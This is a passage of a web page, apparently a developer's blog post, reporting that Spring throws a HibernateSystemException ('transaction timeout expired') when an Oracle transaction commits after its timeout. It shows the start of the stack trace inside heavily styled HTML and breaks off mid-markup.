<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
Now the test result is more stranger!! If I committed in oracle when past the set number of timeout seconds, spring will get a exception:</div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">orm</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate3</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">HibernateSystemException</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> transaction timeout expired</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">;</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> nested exception is org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionException</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> transaction timeout expired
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">orm</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate3</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">SessionFactoryUtils</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">convertHibernateAccessException</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">SessionFactoryUtils</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">679</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">orm</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">jpa</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">vendor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">HibernateJpaDialect</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">translateExceptionIfPossible</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">HibernateJpaDialect</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">102</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">orm</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">jpa</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">doCommit</span><span class="pun" style="background-attachment: initial; background-clip: 